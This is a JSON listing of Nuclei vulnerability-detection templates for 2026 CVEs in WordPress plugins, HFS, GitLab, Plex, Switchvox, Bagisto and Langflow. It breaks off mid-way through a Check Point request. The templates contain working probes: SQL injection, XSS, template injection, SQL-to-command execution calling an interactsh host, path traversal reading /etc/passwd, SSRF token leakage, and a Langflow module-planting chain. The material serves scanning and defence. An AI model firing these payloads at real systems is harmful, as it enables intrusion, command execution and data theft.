{"_links":{"collection":{"href":"/dashboards/nuclei_templates"},"self":{"href":"/api/v1/nuclei_templates/recent_all"}},"data":[{"raw":"id: CVE-2026-9848\n\ninfo:\n  name: WP Ticket <= 6.0.4 - SQL Injection\n  author: HaroonArshad-53\n  severity: high\n  description: |\n    WP Ticket (wp-ticket) for WordPress through 6.0.4 allows unauthenticated SQL injection via front-end search due to unsanitized use of the \"s\" parameter in emd_author_search_results(). Exploitation requires at least one guest ticket. Fixed in 6.0.5.\n  impact: |\n    Unauthenticated attackers can extract sensitive database information via SQL injection, potentially compromising the entire database.\n  remediation: |\n    Update WP Ticket plugin to a version later than 6.0.4 or the latest available version.\n  reference:\n    - https://wordpress.org/plugins/wp-ticket/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9848\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-9848\n    epss-score: 0.02057\n    epss-percentile: 0.81351\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: emarket-design\n    product: wp-ticket\n    shodan-query: html:\"/wp-content/plugins/wp-ticket\"\n    fofa-query: body=\"/wp-content/plugins/wp-ticket\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,wp-ticket\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/wp-ticket/readme.txt\"\n\n    extractors:\n      - type: regex\n        name: version\n        group: 1\n        regex:\n          - 'Stable tag: ([0-9]+\\.[0-9]+\\.[0-9]+)'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?s=zzz%25%27%20OR%20%28post_type%3D%27emd_ticket%27%29%20OR%20%27x\"\n\n    extractors:\n      - type: regex\n        name: true_marker\n        regex:\n          - 'type-emd_ticket'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?s=zzz%25%27%20AND%20%28post_type%3D%27emd_ticket%27%29%20AND%20%27x\"\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"compare_versions(version, '<= 6.0.4')\"\n          - 'contains(true_marker, \"type-emd_ticket\")'\n          - \"status_code==200\"\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - 'type-emd_ticket'\n        negative: true\n# digest: 490a00463044022056ffedfe730d18c4b84fc58b7bc913e9acd48a4d91f3f03e95120c47e0260a3002201938d884038d53b3ba244bfe7e63a3ac76e58518f402a40e4b32db7fb0eb99c8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-9848.yaml","vuln_id":"cve-2026-9848"},{"raw":"id: CVE-2026-9833\n\ninfo:\n  name: WordPress Tag Groups < 2.2.0 - Reflected Cross-Site Scripting\n  author: anirbala98\n  severity: high\n  description: |\n    The Tag Groups WordPress plugin < 2.2.0 contains a stored XSS caused by improper escaping of an AJAX parameter reflected in an HTML response, letting unauthenticated attackers execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, exploit requires victim interaction.\n  impact: |\n    Attackers can execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, potentially leading to session hijacking or privilege escalation.\n  remediation: |\n    Update the Tag Groups plugin to version 2.2.0 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9833\n    - https://wpscan.com/vulnerability/75792c33-2d9d-46db-a98c-00ec40951099/\n    - https://wordpress.org/plugins/tag-groups/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-9833\n    epss-score: 0.00524\n    epss-percentile: 0.44582\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: publishpress\n    product: tag-groups\n    fofa-query: body=\"/wp-content/plugins/tag-groups/\"\n  tags: cve,cve2026,wordpress,wp-plugin,tag-groups,xss,authenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=tg_ajax_manage_groups&tag_groups_task=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&nonce=fake HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"<img src=x onerror=alert(document.domain)>\")'\n        condition: and\n# digest: 4b0a00483046022100c3291c92b00637f36e5e93e476396daa7dbd0cb13ad016928ee9a3d09d1ea4ea0221008cb86d921a05a3580430ac7257778ff8370c5aecaba9a394063cb9d3e131219d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-9833.yaml","vuln_id":"cve-2026-9833"},{"raw":"id: CVE-2026-97359\n\ninfo:\n  name: Rejetto HTTP File Server 2.4.x - Template Injection\n  author: kosoyyagent\n  severity: critical\n  description: |\n    Rejetto HTTP File Server (HFS) 2.4.x inserts the multipart upload filename into the server-side template symbol map as %item-resource% without escaping. A filename containing the literal %item-resource% is substituted a second time by the sequential global replacement in xtpl(), allowing a :} sequence to terminate the quoting region so a following {.exec|...} macro is executed as an operating-system command. An unauthenticated attacker achieves remote code execution with a single request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary commands remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to a version later than 2.4.0 or the latest available version.\n  reference:\n    - https://github.com/wgetnz/hfs2/blob/master/advisories/hfs2-upload-filename-template-injection/README.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-97359\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-97359\n    epss-score: 0.05516\n    epss-percentile: 0.9283\n    cwe-id: CWE-1336\n  metadata:\n    max-request: 1\n    vendor: rejetto\n    product: http_file_server\n    shodan-query: http.html:\"HttpFileServer\" || product:\"HFS\"\n    fofa-query: app=\"HFS\"\n  tags: cve,cve2026,hfs,rejetto,ssti,rce,vkev\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----NucleiBoundaryV7k2\n        Connection: close\n\n        ------NucleiBoundaryV7k2\n        Content-Disposition: form-data; name=\"f\"; filename=\"%item-resource%:}{.add|7000000|788.}\"\n        Content-Type: application/octet-stream\n\n        hi\n        ------NucleiBoundaryV7k2--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '7000788'\n          - '\"err\":\"Not allowed.\"'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100f157022db837d071759513d96a37e979ef04c56c7693d1dd54268abd3ad0d697022016f18bbfb4187d30889ccc431ef15bfaa2528ff951bc2b34305fc6db070fb43e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-97359.yaml","vuln_id":"cve-2026-97359"},{"raw":"id: CVE-2026-97229\n\ninfo:\n  name: GitLab CE/EE < 19.2.8 / 19.3.5 / 19.4.2 - Unauthenticated RCE via Onigmo Integer Overflow\n  author: rapid7\n  severity: critical\n  description: |\n    GitLab CE/EE 19.2.0–19.2.7, 19.3.0–19.3.4, and 19.4.0–19.4.1 contain a remote code execution caused by insufficient regular expression validation in CI/CD configuration, letting unauthenticated users execute arbitrary code remotely, exploit requires crafted regex in CI/CD config\n  impact: |\n    Unauthenticated attackers can execute arbitrary code on the GitLab server, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to GitLab CE/EE 19.2.8, 19.3.5, 19.4.2 or later.\n  reference:\n    - https://github.com/jburgess-r7/CVE-2026-97229-PoC\n    - https://www.rapid7.com/blog/post/etr-cve-2026-97229-critical-unauthenticated-remote-code-execution-in-gitlab\n    - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-97229\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-97229\n    epss-score: 0.6522\n    epss-percentile: 0.99256\n    cwe-id: CWE-190\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: gitlab\n    product: gitlab\n    shodan-query: product:\"GitLab\"\n    fofa-query: app=\"GitLab\"\n  tags: cve,cve2026,gitlab,rce,critical,kev,cicd,onigmo,regex,unauthenticated,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /users/sign_in HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(to_lower(header), \"x-gitlab-meta\")'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v4/ci/lint HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        {\"content\":\"stages:\\n  - scan\\ncve_97229_probe:\\n  stage: scan\\n  rules:\\n    - exists:\\n        regexp: \\\"{5(?#)7805}\\\"\\n  script:\\n    - echo 1\\n\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'regex(\"valid.{0,5}true\", body)'\n          - 'regex(\"errors.{0,5}\\\\[\\\\]\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: gitlab_version\n        part: header\n        regex:\n          - '(?i)x-gitlab-meta:\\s*\\{\"version\"\\s*:\\s*\"([^\"]+)\"'\n        group: 1\n# digest: 4b0a004830460221009bc21431a543bdbdd1108b6ba975cc8f8ed1a61f0668fb72edfffd8e1c6bc6e2022100c9144e1f05a8495f07710ca94c22c5e1bbf90aabe41e1803c13258794e28e975:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-97229.yaml","vuln_id":"cve-2026-97229"},{"raw":"id: CVE-2026-96655\n\ninfo:\n  name: Plex Media Server < 1.43.3.10861 - SSRF via Transcoder\n  author: DhiyaneshGeek\n  severity: medium\n  description: |\n    Plex Media Server before 1.43.3.10861 allows an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter.\n  impact: |\n    Attackers can force the server to fetch arbitrary URLs, enabling internal network probing and credential theft via X-Plex-Token leakage on the outbound request.\n  remediation: |\n    Update to version 1.43.3.10861 or later.\n  reference:\n    - https://zmain.info/blog/plex2shell\n    - https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319\n    - https://www.rapid7.com/db/vulnerabilities/cve-2026-96655/\n    - https://www.cve.org/CVERecord?id=CVE-2026-96655\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-96655\n    epss-score: 0.01637\n    epss-percentile: 0.76407\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: plex\n    product: plex_media_server\n    shodan-query: port:32400 \"X-Plex-Protocol\"\n    fofa-query: port=\"32400\" && header=\"X-Plex-Protocol\"\n  tags: cve,cve2026,plex,ssrf,oob,oast,plex2shell,kev,vkev,authenticated\n\nhttp:\n  - raw:\n      - |\n        GET /video/:/transcode/universal/start.m3u8?path=http://{{interactsh-url}}/item.xml&X-Plex-Token={{token}} HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{token}}\n        X-Plex-Platform: Chrome\n        X-Plex-Device: Linux\n        X-Plex-Product: Plex Web\n        X-Plex-Model: bundled\n        X-Plex-Client-Identifier: nuclei-test\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_request, 'item.xml')\"\n\n    extractors:\n      - type: kval\n        part: interactsh_request\n        kval:\n          - X-Plex-Token\n# digest: 490a0046304402202b25df04c96b62a43653d73f365348cb95f1020bd7e924e8a7c82302db4b2fca02204902aa7bd779195e627380f354dc1d16e1bc6c13e403272f75bc99a3cf726a8c:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-96655.yaml","vuln_id":"cve-2026-96655"},{"raw":"id: CVE-2026-96652\n\ninfo:\n  name: Plex Media Server < 1.43.3.10861 - Unauthenticated SSRF via Companion Protocol (plex2shell)\n  author: 0x_Akoko,pdteam,alex700\n  severity: medium\n  description: |\n    Plex Media Server < 1.43.3.10861 contains a server side request forgery caused by improper validation of the 'protocol' parameter in /player/timeline, letting attackers with any X-Plex-Token value force the server to POST to arbitrary destinations, exploit requires any X-Plex-Token value.\n  impact: |\n    Attackers can make the server send arbitrary POST requests to attacker-controlled destinations, potentially leading to internal network attacks or data exfiltration.\n  remediation: |\n    Update to version 1.43.3.10861 or later.\n  reference:\n    - https://zmain.info/blog/plex2shell\n    - https://github.com/gmh5225/plex2shell\n    - https://www.cve.org/CVERecord?id=CVE-2026-96652\n    - https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json\n    - https://github.com/advisories/GHSA-5p7w-r379-3c2m\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2026-96652\n    epss-score: 0.11886\n    epss-percentile: 0.96114\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: plex\n    product: plex_media_server\n    shodan-query: port:32400 \"X-Plex-Protocol\"\n    fofa-query: port=\"32400\" && header=\"X-Plex-Protocol\"\n  tags: cve,cve2026,plex,ssrf,oob,unauth,plex2shell,kev,vkev\n\nvariables:\n  cid: \"{{rand_text_alpha(10)}}\"\n  tok: \"{{rand_text_alpha(12)}}\"\n\nflow: |\n  (function() {\n    if (!http(1)) return false;\n    var ver = template[\"plex_version\"];\n    if (!ver) return false;\n    var p = ver.split(/[.\\-]/);\n    if (p.length < 4) return false;\n    var ma = +p[0], mi = +p[1], pa = +p[2], build = +p[3];\n    var vuln = (ma < 1) ||\n               (ma === 1 && mi < 43) ||\n               (ma === 1 && mi === 43 && pa < 3) ||\n               (ma === 1 && mi === 43 && pa === 3 && build < 10861);\n    if (!vuln) return false;\n    try { http(2); } catch (e) {}\n    if (!http(3)) return false;\n    return http(4);\n  })();\n\nhttp:\n  - raw:\n      - |\n        GET /identity HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Connection: close\n\n    extractors:\n      - type: regex\n        name: plex_version\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '<MediaContainer[^>]+\\sversion=\"([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"MediaContainer\", \"machineIdentifier\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 3s\n        GET /player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier={{cid}} HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{tok}}\n        X-Plex-Client-Identifier: {{cid}}\n        X-Plex-Platform: poc\n        X-Plex-Platform-Version: 1\n        X-Plex-Product: poc\n        X-Plex-Version: 1\n        X-Plex-Device: poc\n        X-Plex-Device-Name: poc\n        X-Plex-Model: poc\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'true'\n        internal: true\n\n  - raw:\n      - |\n        GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&commandID=1&X-Plex-Target-Client-Identifier={{cid}}&protocol=http%3A%2F%2F{{interactsh-url}}&port=80 HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{tok}}\n        X-Plex-Client-Identifier: {{cid}}\n        X-Plex-Platform: poc\n        X-Plex-Platform-Version: 1\n        X-Plex-Product: poc\n        X-Plex-Version: 1\n        X-Plex-Device: poc\n        X-Plex-Device-Name: poc\n        X-Plex-Model: poc\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'true'\n        internal: true\n\n  - raw:\n      - |\n        GET /player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{tok}}\n        X-Plex-Client-Identifier: {{cid}}\n        X-Plex-Platform: poc\n        X-Plex-Platform-Version: 1\n        X-Plex-Product: poc\n        X-Plex-Version: 1\n        X-Plex-Device: poc\n        X-Plex-Device-Name: poc\n        X-Plex-Model: poc\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"http\", \"dns\")'\n# digest: 4b0a00483046022100d40a496663054a35f8fb67c33dd51a0b35f8b4e871e9332894e4ca11cbc8c6c7022100e837819f4017ffc172e3be1a62622cd040b2f4d65081f3128964661d100bdc01:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-96652.yaml","vuln_id":"cve-2026-96652"},{"raw":"id: CVE-2026-9586\n\ninfo:\n  name: Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.\n  impact: |\n    An unauthenticated remote attacker can achieve full remote code execution on the Switchvox server by injecting SQL via the PhoneIP XML field, leveraging PostgreSQL superuser privileges to execute arbitrary OS commands via COPY TO PROGRAM.\n  remediation: |\n    Upgrade Sangoma Switchvox to version 8.4.0.2 or later which parameterizes the SQL query and validates the PhoneIP input.\n  reference:\n    - https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9586\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-9586\n    epss-score: 0.18979\n    epss-percentile: 0.97311\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.html:\"switchvox\"\n    fofa-query: body=\"switchvox\"\n    vendor: sangoma\n    product: switchvox\n  tags: cve,cve2026,sangoma,switchvox,sqli,rce,oast,vkev,vuln,kev\n\nhttp:\n  - raw:\n      - |\n        POST /pa HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n\n        <request><PhoneIP>10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nslookup {{interactsh-url}}'--</PhoneIP><command>tel_notify</command></request>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - \"<html><body></body></html>\"\n# digest: 490a004630440220190cd9e913392452bb8986152be0725331f8f20901a4ce2d67a22ac89bf76325022054ca4c4331fcef5bf998ec5fe79dfd4ad858dfb628f55fc484a2d5c4cb624a28:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-9586.yaml","vuln_id":"cve-2026-9586"},{"raw":"id: CVE-2026-9506\n\ninfo:\n  name: Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.\n  impact: |\n    Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.\n  remediation: Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.\n  reference:\n    - https://github.com/advisories/GHSA-qhcg-rw5x-vg94\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9506\n    - https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292\n    - https://www.ionix.io/threat-center/cve-2026-9506/\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N\n    cvss-score: 8.7\n    cve-id: CVE-2026-9506\n    epss-score: 0.01382\n    epss-percentile: 0.72235\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: webkul\n    product: bagisto\n    shodan-query: http.html:\"Bagisto\"\n    fofa-query: body=\"bagisto\"\n  tags: cve,cve2026,bagisto,webkul,lfi,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cache/original/%2e%2e/composer.json\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"name\": \"bagisto/bagisto\"'\n          - 'Bagisto Laravel E-Commerce'\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022012b2a5197cc7db7795dc35b349999caa077fb8ece1937e97e15d9d187846f8fd0221008efc9061f1c4433a2f9b144f31468a880e731904ff2e3aeee5391434d7e17855:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-9506.yaml","vuln_id":"cve-2026-9506"},{"raw":"id: CVE-2026-94169\n\ninfo:\n  name: The Grid <= 2.8.1 - Unauthenticated Code Injection\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Theme-one The Grid <= 2.8.1 contains a command injection caused by improper control of code generation, letting attackers execute arbitrary commands remotely, exploit requires crafted input.\n  impact: |\n    Attackers can execute arbitrary commands remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 2.8.1.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/the-grid/vulnerability/wordpress-the-grid-plugin-2-8-1-remote-code-execution-rce-vulnerability\n    - https://github.com/kize7/CVE-2026-94169\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-94169\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-94169\n    epss-score: 0.04422\n    epss-percentile: 0.91387\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: theme-one\n    product: the-grid\n    fofa-query: body=\"/wp-content/plugins/the-grid/\"\n    publicwww-query: \"/wp-content/plugins/the-grid/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,the-grid,theme-one,lfi,unauth,vkev\n\nvariables:\n  grid: \"{{rand_text_alpha(8)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=the_grid_load_more&grid_nonce=invalid&grid_page=1&grid_name={{grid}}&grid_data[item_number]=1&grid_data[grid_skins][evil][php]=/etc/passwd&grid_data[grid_skins][evil][type]=grid&grid_data[grid_skins][evil][slug]=evil&grid_data[skins]={\"post\":\"evil\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'regex(\"root:.*:0:0:\", body)'\n        condition: and\n# digest: 4a0a004730450220152cef0b513b0db945c0b79905858789357bd58df489ee23ee1fbec5f0a9b43e022100aac7e74167e15bd97a28e0dff6b7013ad67e620d0e06094ae7fcf7ca8d900e95:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-94169.yaml","vuln_id":"cve-2026-94169"},{"raw":"id: CVE-2026-93674\n\ninfo:\n  name: Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Langflow OSS 1.0.0 through 1.12.2 is vulnerable to unauthenticated remote code execution via the POST /api/v1/validate/code endpoint, which calls importlib.import_module() on user-supplied import statements, executing module top-level code instead of merely validating syntax.\n    Combined with the default LANGFLOW_AUTO_LOGIN=true configuration (which issues a superuser JWT from GET /api/v1/auto_login with no credentials) and the custom_component exec() sink (POST /api/v1/custom_component, which can plant arbitrary Python modules into site-packages), a remote unauthenticated attacker achieves arbitrary OS command execution.\n    Fixed in 1.12.3 by replacing importlib.import_module() with importlib.util.find_spec() (commit 461506ac2f).\n  impact: |\n    Complete system compromise. An unauthenticated attacker can execute arbitrary OS commands with the privileges of the Langflow service account, leading to full control over flows, stored credentials, global variables, and any data accessible to the service.\n  remediation: |\n    Upgrade to Langflow OSS 1.12.3 or later. As a temporary mitigation, set LANGFLOW_AUTO_LOGIN=false with strong superuser credentials and restrict network access to the Langflow instance.\n  reference:\n    - https://www.pruva.dev/reproductions/REPRO-2026-00381\n    - https://github.com/langflow-ai/langflow\n    - https://github.com/langflow-ai/langflow/commit/461506ac2f38f70a994b5140572b876448c11e4c\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-93674\n    epss-score: 0.15286\n    epss-percentile: 0.9678\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: langflow-ai\n    product: langflow\n    shodan-query: html:\"Langflow\"\n    fofa-query: body=\"Langflow\"\n  tags: cve,cve2026,langflow,rce,code-injection,unauth,intrusive\n\nvariables:\n  module: \"nprobe{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/auto_login HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    extractors:\n      - type: json\n        name: token\n        json:\n          - '.access_token'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"access_token\")'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/custom_component HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"code\":\"from langflow.custom import CustomComponent\\nimport pathlib,site\\nclass P(CustomComponent):\\n    _=pathlib.Path(site.getsitepackages()[0]+'/{{module}}.py').write_text('import time;time.sleep(8)')\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"code\":\"import {{module}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 8'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100c4a9e3f493b2e68c44c259388bb574308adcb2b811738a3288289b48bd1feab602206adae068da1a0930718c9c09371e84aee4cd2dd9625dd1dcd5f56d16a4fd9ed1:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-93674.yaml","vuln_id":"cve-2026-93674"},{"raw":"id: CVE-2026-93616\n\ninfo:\n  name: Check Point Security Management - Unauthenticated Directory Traversal to RCE\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    Check Point Management Server contains a directory traversal and unrestricted file upload vulnerability allowing unauthenticated attackers to upload and execute arbitrary scripts remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can upload and execute arbitrary scripts, leading to full system compromise.\n  remediation: |\n    Update to the latest version of Check Point Management Server.\n  reference:\n    - https://support.checkpoint.com/results/sk/sk1000171\n    - https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-cve-2026-85102-and-a-management-pre-authentication-vulnerability-cve-2026-93616/\n    - https://github.com/BishopFox/CVE-2026-93616-check\n    - https://github.com/WadesWeaponShed/CVE-2026-93616_Checks\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-93616\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-93616\n    epss-score: 0.91605\n    epss-percentile: 0.99814\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: checkpoint\n    product: quantum_security_management\n    shodan-query: port:19009\n    fofa-query: port=\"19009\"\n  tags: cve,cve2026,checkpoint,soap,rce,kev,passive,vkev\n\nvariables:\n  probe: \"{{to_lower(rand_text_alpha(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /cpmws/UpgradeSvcRemote HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n        Accept: text/xml\n        Connection: close\n\n        <?xml version=\"1.0\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><loginAsApplicationReadOnlyPublicSession xmlns=\"http://www.checkpoint.com/DleWebService/UpgradeSvcRemote\"><applicationName>{{probe}}</applicationName><timeout>1</timeout><mode>readOnly</mode><targetVersion>{{probe}}!</targetVersion></loginAsApplicationReadOnlyPublicSession></soap:Body></soap:Envelope>\n\n    